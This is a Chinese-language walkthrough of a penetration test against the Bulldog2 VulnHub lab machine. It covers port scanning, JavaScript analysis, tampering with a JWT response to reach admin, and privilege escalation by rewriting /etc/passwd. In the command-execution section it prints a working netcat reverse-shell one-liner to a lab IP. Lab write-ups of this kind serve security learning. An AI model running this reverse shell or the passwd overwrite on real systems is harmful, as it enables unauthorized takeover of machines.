文章目录

  • 测试流程
    • 一,信息收集
      • (1)nmap扫描端口
      • (2)目录扫描查看
    • 二,漏洞发现
      • (1)访问查看页面有什么功能,根据功能测试有无漏洞
      • (2)对js文件源码分析思路
      • (3)对发现的注册功能测试
      • (4)结合发现的注册功能点,测试登录是否存在水平和垂直越权
    • 三,漏洞利用
      • (1)尝试利用登录漏洞垂直越权到admin
        • (2)溢出漏洞爆出绝对路径及利用思路
      • (3)命令执行漏洞的利用
    • 四,提权
  • .................................................................
  • ? 通过靶机学习到的知识
    • (1)node.js

测试流程

一,信息收集

(1)nmap扫描端口

发现主机,上nmap神器

【思路】1.  针对80端口的http服务,探测有无危险方法(put,delete)2.  针对nginx中间件的版本探测漏洞

用nmap探测http有无危险方法访问

nmap --script http-methods --script-args http-methods.url-path="/" 192.168.44.140

思路1

思路2

  • 没有利用点

(2)目录扫描查看


二,漏洞发现

(1)访问查看页面有什么功能,根据功能测试有无漏洞


【思路】一,登录功能的常见漏洞1、账号密码能否爆破2、登录权限是否能绕过3、登录账号能否被枚举4、登录账号是否存在弱口令5、是否存在COOKIE/TOKEN未失效(无过期时间)6、账号密是否存在xss7、账号密码是否明文传输或加密传输8、账号密码或验证码是否存在sql注入漏洞

针对登录功能的测试
1.注入

.
2.XSS


  • 爆出路径

查看注册功能

想到了功能由js脚本处理,审查元素看看


感觉有点东西,接下来搞下来,查看源码。

(2)对js文件源码分析思路

【审查js文件的 思路】1. 找危险函数2. 找交互点3. 反推数据包的格式4. 找关键词 (eg: admin / user / get......)5. 若有发包操作,找字段名,

1.下载下来的文件往往看起来很乱,先美化一波
使用notepad++的jstool美化
也可以用浏览器的调试器美化

.
2.查找危险函数和搜索信息
因为是注册功能,必然存在交互点。尝试找user


  • 猜测是判断是否为管理员的功能函数,
    http.post判断为post传输数据

.
3.查找注册功能的代码

.
4. 假设为post传参,搜索post

【POC】

1. 根据JS文件,访问/users/register为登录功能。抓包

.
2.修改type为json,构造注册用户的json。发包测试

.
3. 登录验证


  • 成功注册,发现了注册功能。对注册功能测试

(3)对发现的注册功能测试

【对注册功能的测试思路】1、是否存在短信炸弹漏洞2、是否存在xss漏洞(有输入操作)3、是否存在sql注入漏洞4、短信验证码是否能被绕过5、是否存在用户名二次注册漏洞6、是否存在任意账号注册7、是否存在用户名枚举漏洞8、是否存在用户恶意注册漏洞9、是否存在邮箱炸弹漏洞
-----------------------------------------------------------------------------
由于发现的功能点通过发包实现。而且加上在js文件发现了有很象管理员认证的函数功能--> 尝试能否注册一个管理员用户

(4)结合发现的注册功能点,测试登录是否存在水平和垂直越权

测试水平越权


  • 先注册另一个账号,然后尝试在登录abc用户的状态下水平越到1用户

    存在水平越权 和 用户名枚举漏洞

用注册的用户登录抓包查看

看到了JWT

去解码先

修改auth_level为master_admin_user


三,漏洞利用

(1)尝试利用登录漏洞垂直越权到admin

【利用方法】1. 由于是前端的JS文件认证,拦截服务器发给前端的包2. 修改JWT,和auth_level 字段值。

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 07 Oct 2019 13:38:53 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 361
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
ETag: W/"169-Q80c/7fI8LZR/UkDvwKQRF/2nNE"{"success":true,"token":"JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXlsb2FkIjp7Im5hbWUiOiIxIiwiZW1haWwiOiIxQHRlc3QuY29tIiwidXNlcm5hbWUiOiIxIiwiYXV0aF9sZXZlbCI6InN0YW5kYXJkX3VzZXIifSwiaWF0IjoxNTcwNDUzMjY3LCJleHAiOjE1NzEwNTgwNjd9.ecpgbdBX5_YMg9FtWInT-WjJTpwZSd4WDGtDmF9vQ7I","user":{"name":"1","username":"1","email":"1@test.com","auth_level":"master_admin_user"}}

查看admin功能

发包查看


好像没什么用啊,思路断了。

(2)溢出漏洞爆出绝对路径及利用思路

想看看是否存在缓存区溢出漏洞的存在

【 获取绝对路径后的利用思路】1. 显示出 (.git)或者是 (.svn/enteiti)文件--> 可以使用githack,SvnHack工具尝试能否得到源码2. 直接在github上搜索查看能否得到 项目的源码,--> 然后做代码审计

直接去github搜


还真有!

【找到开源的项目地址如何进一步锁定源代码】

  • 1.首先请求的是/users/linkauthenticate,直接搜索查看有无相关内容

.

  • 2.根据response包中的固定内容确定源码文件{"success":false,"msg":"Wrong password"}

.

  • 3.猜测是users.js为处理文件,审计代码发现有无利用点

(3)命令执行漏洞的利用

尝试反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1|nc 192.168.44.128 9090 >/tmp/f

四,提权

sudo -l 需要输入密码

find / -perm -u=s -type f 2>/dev/null -exec ls -l{} \; 没有结果

find / -perm -o=w -type f 2>/dev/null | grep -v "/proc/"

结合脏牛提权的原理,直接修改,在密码占位符处写入经过加密处理的密码

1. 用perl生产加密密码


  • 其中,pass为加密的密码;aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数

.
2.写入passwd文件

.
3.查看用户

.
4. 尝试切换用户


? 通过靶机学习到的知识

(1)node.js

node:Node 是一个让 JavaScript 运行在服务端的开发平台,它让 JavaScript 成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。发布于2009年5月,实质是对Chrome V8引擎进行了封装.
.

node.js:Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。 Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型。

【自己的理解】有些站点使用了前端的JavaScript进行功能操作,?如何发现审查元素,存在大量的js为文件,访问查看是否有功能函数         

靶机渗透----bulldog2相关推荐

  1. 【VulnHub靶机渗透】一:BullDog2

    在网上各位大佬WriteUp的帮助下,成功完成了第一次完整的靶机渗透测试(大佬NB!),现将详细过程及原理做简单整理. 文章目录 简介 渗透步骤 1.主机发现.端口扫描 2.Web扫描.漏洞发现 3. ...

  2. bulldog2 靶机渗透

    bulldog2 靶机渗透 1.先做主机发现 2.查看目标靶机开通的服务,发现目标靶机只开通了80端口 3.使用http服务登录主页 4.发现网站关闭了注册功能 5.发现用户遍历漏洞 6.查看下载好的 ...

  3. HA: SHERLOCK 靶机渗透取证

    HA: SHERLOCK 靶机渗透取证 靶机描述: DescriptionHA: Sherlock! This lab is based on the famous investigator's jo ...

  4. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  5. [HTB]“Heist”靶机渗透详细思路

    今天我们来看一下hackthebox里的一个靶机"Heist",直接开始渗透. 一.信息搜集 先打开网站看看.是一个登陆框,使用弱口令和注入都无果.在网页中发现了 login as ...

  6. [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...

  7. 【渗透测试】靶机渗透Vulnhub-bulldog

    目录 前言 一.bulldog靶机安装 二.bulldog靶机渗透 1.信息搜集 2.Web渗透--后台登录 3.Web渗透--命令注入&nc反弹shell 4.权限提升 渗透步骤回顾 感悟 ...

  8. 靶机渗透【bulldog】

    文章目录 *一. bulldog靶机安装* 1. 下载bulldog 2. 开启bulldog *二. bulldog靶机渗透* 1. 信息收集 2. Web渗透 3. 命令注入&nc反弹sh ...

  9. Bulldog靶机渗透

    Bulldog靶机渗透 1. 获取地址IP,确定靶机IP是192.168.119.134 2.扫描目标主机信息 3.爆破目标主机目录 4.通过翻译得知这个网页是给承包商看的 5.查看网页的源码,查找有 ...

最新文章

  1. 解决不了bug先放着,这里有40条提升编程技能小妙招
  2. 度量 数据突变_4篇Nature“霸屏”!史上最大规模人类遗传变异体数据库发布
  3. Image、Byte[]、Bitmap相互转换
  4. ctab法提取dna流程图_【分子】DNA的提取与检测(下)——质粒DNA
  5. Solr+Hbase多条件查(优劣互补)
  6. MySQL—赋权(grant)和回收权限(revoke)
  7. TiKV 正式从 CNCF 毕业,成为云原生时代构建分布式系统的基石
  8. Python语法基础:面向对象2
  9. 14款国内外主流三维GIS软件
  10. uefi模式下修改Intel网卡MAC地址
  11. 单片机 STM32 HAL IO扩展 74HC595 例子代码
  12. 淘宝APP用户行为数据分析 by 一只废鹅
  13. CubeMX中配置外设引脚重映射
  14. 计算机主板启动加密码,电脑主板BIOS加密解密设置
  15. 《2021中国企业数智化转型升级发展研究报告》正式发布丨数据猿上海大数据联盟...
  16. c语言间接级别不同_一个超复杂的间接递归——C语言初学者代码中的常见错误与瑕疵(6)...
  17. 企业微信+python实现监控服务器状态和实时查询数据
  18. 面试刁难题——你有哪些缺点?
  19. esp8266对接天猫精灵(3)原理
  20. 38 一次 younggc fullgc 的调试

热门文章

  1. 【毕设】通过RGB识别红外图像火点(matlab)
  2. 如何找到浏览器扩展的安装位置
  3. 第二人生的源码分析(102)脚本的构造
  4. 自动分析黑名单及白名单的iptables脚本
  5. ZBrush自定义笔刷
  6. Jetson nano/nx通过网线连接电脑实现远程控制
  7. 数学建模更新13(MATLAB绘制三维图【上】)
  8. (升级版)基本粒子结构以及宇宙现象的徦说
  9. Audacity合成音频的软件
  10. Web安全防攻(渗透测试)